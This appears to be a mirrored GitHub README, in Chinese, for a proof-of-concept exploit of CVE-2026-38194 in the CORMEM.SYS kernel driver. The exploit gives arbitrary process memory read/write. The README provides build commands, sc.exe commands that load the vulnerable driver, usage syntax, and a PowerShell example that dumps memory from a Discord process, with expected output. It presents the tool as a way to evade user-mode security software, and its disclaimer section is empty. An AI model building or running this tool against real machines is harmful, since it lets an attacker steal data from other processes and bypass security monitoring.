4D4J/cormem-read-poc

GitHub: 4D4J/cormem-read-poc

演示 CVE-2026-38194 的 PoC 工具,利用 CORMEM.SYS 内核驱动缺乏访问控制的缺陷,通过物理地址转换实现绕过用户态监控的任意进程内存读写。

Stars: 5 | Forks: 0

**免责声明**: # cordrv_exploit — CVE-2026-38194 ## 漏洞 该工具演示了 CVE-2026-38194,这是 Teledyne Digital Imaging Sapera Memory Manager(v9.0.0.0 及以下版本)中的一个漏洞。 `CORMEM.SYS` 内核驱动程序暴露的 IOCTL 没有进行任何访问控制检查, 导致普通无特权用户可以直接通过内核读取和写入任意进程的内存 ——从而完全绕过 Win32 API 监控。 ![poc](https://static.pigsec.cn/wp-content/uploads/repos/2026/06/9e6948c3cf213034.png) 内存是通过物理地址转换(页表遍历)而非 `ReadProcessMemory` 进行访问的, 这使得它对大多数用户态安全软件是透明的。 ## 环境要求 - Windows 10/11 - 已加载 CORMEM.SYS - Visual Studio 2022/2026 + CMake 3.20+ ## 构建 ``` cmake -B build -A x64 cmake --build build --config Release ``` ## 加载驱动程序 如果 CORMEM.SYS 尚未加载,请以管理员身份手动加载: ``` sc.exe create CORMEM binPath= "C:\path\to\CORMEM.SYS" type= kernel start= demand sc.exe start CORMEM ``` 完成后卸载: ``` sc.exe stop CORMEM sc.exe delete CORMEM ``` ## 用法 ``` cordrv_exploit.exe
[size] pid Process ID (decimal) address Virtual address to read (hex) size Bytes to dump, default 256, max 1048576 ``` ## 示例 — 读取 Discord 的 PE 头 ``` # 获取主 Discord 进程 $proc = Get-Process -Name "Discord" | Sort-Object WorkingSet -Descending | Select-Object -First 1 $discordPid = $proc.Id $base = $proc.Modules[0].BaseAddress Write-Host "PID : $discordPid" Write-Host "Base : 0x$($base.ToString('X'))" .\build\Release\cordrv_exploit.exe $discordPid "0x$($base.ToString('X'))" 256 ``` 预期输出: ``` [*] Target PID : 16364 [*] Target address : 0x7FF6FC180000 [*] Dump size : 256 bytes [*] Initializing CorDrv... [+] Driver initialized. [*] Finding system DTB... [+] System DTB: 0x1AE000 [*] Searching EPROCESS list for PID 16364... [+] Process DTB: 0x2CD30F000 [+] VA 0x7FF6FC180000 -> PA 0x1A98C2000 Memory dump (0x7FF6FC180000, 256 bytes): 7FF6FC180000: 4D 5A 78 00 01 00 00 00 04 00 00 00 00 00 00 00 7FF6FC180010: 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 ... [+] Done. ``` 偏移量 0 处的 `4D 5A` 确认已成功从物理 RAM 中读取 MZ 头。 ## 注意事项 - 已被换出到磁盘的页面无法读取(TranslateVirtualAddress 将返回 0)。 - 某些进程会生成多个实例——请始终以工作集最大的那个为目标。 - 如果该驱动程序位于 Microsoft 的阻止列表中,Windows 11 上的 HVCI / Secure Boot 可能会阻止 CORMEM.SYS。
标签:0day挖掘, Bash脚本, C++, CVE, UML, Web报告查看器, Windows驱动, 内核安全, 协议分析, 数字签名, 数据擦除, 权限提升